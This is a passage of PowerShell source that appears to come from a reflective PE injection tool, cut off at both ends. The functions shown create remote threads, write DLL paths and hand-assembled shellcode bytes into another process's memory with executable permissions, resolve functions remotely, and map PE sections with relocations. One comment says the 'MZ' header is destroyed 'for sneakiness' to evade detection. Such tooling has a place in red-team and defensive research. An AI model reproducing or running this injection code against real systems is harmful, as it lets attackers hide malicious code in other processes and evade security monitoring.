[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Invoke-CreateRemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,
[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
$OSVersion = [Environment]::OSVersion.Version
#Vista and Win7
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
#XP/Win8
else
{
Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
}
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Write-Verbose "Error creating remote thread, thread handle is null"
}
return $RemoteThreadHandle
}
Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$NtHeadersInfo = New-Object System.Object
#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
#Get IMAGE_NT_HEADERS
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
if ($imageNtHeaders64.Signature -ne 0x00004550)
{
throw "Invalid IMAGE_NT_HEADER signature."
}
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}
return $NtHeadersInfo
}
#This function will get the information needed to allocated space in memory for the PE
Function Get-PEBasicInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$PEInfo = New-Object System.Object
#Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
#Get NtHeadersInfo
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
#Build a structure with the information which will be needed for allocating memory and writing the PE to memory
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
#Free the memory allocated above, this isn't where we allocate the PE to memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
return $PEInfo
}
#PEInfo must contain the following NoteProperties:
# PEHandle: An IntPtr to the address the PE is loaded to in memory
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}
$PEInfo = New-Object System.Object
#Get NtHeaders information
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
#Build the PEInfo object
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
Throw "PE file is not an EXE or DLL"
}
return $PEInfo
}
Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
[IntPtr]$DllAddress = [IntPtr]::Zero
#For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
# Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
if ($PEInfo.PE64Bit -eq $true)
{
#Allocate memory for the address returned by LoadLibraryA
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}
#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
else
{
[IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}
[IntPtr]$DllAddress = [IntPtr]$ExitCode
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $DllAddress
}
Function Get-RemoteProcAddress
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$RemoteDllHandle,
[Parameter(Position=2, Mandatory=$true)]
[String]
$FunctionName
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
#Write FunctionName to memory (will be used in GetProcAddress)
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RFuncNamePtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($FunctionNameSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
#Get address of GetProcAddress
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
#Allocate memory for the address returned by GetProcAddress
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
}
#Write Shellcode to the remote process which will call GetProcAddress
#Shellcode: GetProcAddress.asm
#todo: need to have detection for when to get by ordinal
[Byte[]]$GetProcAddressSC = @()
if ($PEInfo.PE64Bit -eq $true)
{
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$GetProcAddressSC2 = @(0x48, 0xba)
$GetProcAddressSC3 = @(0x48, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
$GetProcAddressSC2 = @(0xb9)
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $ProcAddress
}
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
# SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
# so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
[Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}
#Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
#If SizeOfBlock == 0, we are done
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
#Loop through each relocation
for($i = 0; $i -lt $NumRelocations; $i++)
{
#Get info for this relocation
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}
#For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
#This appears to be true for EXE's as well.
# Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
#Get the current memory address and update it based off the difference between PE expected base address and actual base address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
#IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}
Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
